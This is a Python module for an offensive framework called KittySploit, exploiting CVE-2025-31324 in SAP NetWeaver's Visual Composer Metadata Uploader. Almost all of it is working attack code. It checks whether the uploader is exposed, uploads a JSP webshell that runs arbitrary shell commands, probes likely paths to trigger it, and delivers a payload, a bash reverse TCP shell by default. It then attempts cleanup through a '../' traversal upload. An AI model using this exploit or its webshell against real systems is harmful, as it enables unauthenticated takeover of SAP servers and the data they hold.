SAP NetWeaver Metadata Uploader RCE (CVE-2025-31324)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SAP NetWeaver Visual Composer Metadata Uploader RCE (CVE-2025-31324)."""

import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'SAP NetWeaver Metadata Uploader RCE (CVE-2025-31324)',
        'description': (
            'Exploits CVE-2025-31324 unauthenticated file upload via SAP NetWeaver '
            'Visual Composer Metadata Uploader to deploy a JSP webshell and execute '
            'a reverse CMD payload.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2025-31324'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-31324',
            'https://me.sap.com/notes/3594142',
        ],
        'tags': ['sap', 'netweaver', 'upload', 'jsp', 'rce', 'unauth', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 5,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'jsp webshell'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/sap_netweaver_cve_2025_31324_detect'],
            },
        },
    }

    upload_path = OptString(
        '/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1',
        'Metadata uploader endpoint',
        required=False,
    )
    shell_name = OptString('', 'JSP filename (random if empty)', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    cleanup = OptBool(True, 'Attempt to remove uploaded JSP after exploit', required=False)

    UPLOAD_GET = '/developmentserver/metadatauploader'

    def _shell_filename(self) -> str:
        custom = str(self.shell_name or '').strip()
        if custom:
            return custom if custom.endswith('.jsp') else f'{custom}.jsp'
        return f'ks_{self.random_text(8)}.jsp'

    def _build_jsp(self, cmd: str) -> str:
        escaped = cmd.replace('\\', '\\\\').replace('"', '\\"')
        return (
            '<%@ page import="java.io.*" %>\n'
            '<%\n'
            '  String c = request.getParameter("c");\n'
            '  if (c == null) { c = "' + escaped + '"; }\n'
            '  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", c});\n'
            '  BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));\n'
            '  String line; while ((line = br.readLine()) != null) { out.println(line); }\n'
            '%>\n'
        )

    def _multipart_upload(self, filename: str, content: str):
        boundary = f'----KittySAP{self.random_text(10)}'
        body = (
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
            f'Content-Type: application/octet-stream\r\n\r\n'
            f'{content}\r\n'
            f'--{boundary}--\r\n'
        )
        return self.http_request(
            method='POST',
            path=str(self.upload_path or self.UPLOAD_GET),
            headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
            data=body.encode('utf-8'),
            allow_redirects=False,
        )

    def _guess_shell_paths(self, filename: str):
        base = filename.lstrip('/')
        return [
            f'/developmentserver/metadatauploader/{base}',
            f'/developmentserver/{base}',
            f'/{base}',
            f'/irj/servlet/prt/portal/prtroot/{base}',
        ]

    def check(self):
        r = self.http_request(method='GET', path=self.UPLOAD_GET, allow_redirects=False)
        if r and r.status_code == 200:
            body = r.text or ''
            if any(m in body for m in ('MetadataUploader', 'Visual Composer', 'SAP')):
                return {'vulnerable': True, 'reason': 'SAP Metadata Uploader exposed', 'confidence': 'high'}
        pr = self._multipart_upload('ks-probe.txt', 'kittysploit-probe')
        if pr and pr.status_code not in (401, 403, 404):
            pbody = pr.text or ''
            if 'FAILED' in pbody or pr.status_code in (200, 500):
                return {'vulnerable': True, 'reason': 'Unauthenticated upload accepted', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Metadata uploader not accessible', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2025-31324 — SAP NetWeaver Metadata Uploader RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        filename = self._shell_filename()
        jsp = self._build_jsp(cmd)
        print_status(f'Uploading JSP webshell {filename!r}...')
        up = self._multipart_upload(filename, jsp)
        if not up or up.status_code in (401, 403, 404):
            print_error(f'Upload failed (HTTP {getattr(up, "status_code", "?")})')
            return False
        print_success('Upload accepted — triggering webshell')
        marker = self.random_text(6)
        trigger_cmd = f'echo kitty-{marker}'
        for path in self._guess_shell_paths(filename):
            tr = self.http_request(
                method='GET',
                path=path,
                params={'c': trigger_cmd},
                allow_redirects=False,
            )
            if tr and marker in (tr.text or ''):
                print_success(f'Webshell reachable at {path}')
                self.http_request(method='GET', path=path, params={'c': cmd}, allow_redirects=False)
                self.vulnerable()
                return True
        print_status('Delivering payload via upload trigger paths...')
        for path in self._guess_shell_paths(filename):
            self.http_request(method='GET', path=path, params={'c': cmd}, allow_redirects=False)
        if self.cleanup:
            self._multipart_upload(f'../{filename}', '')
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True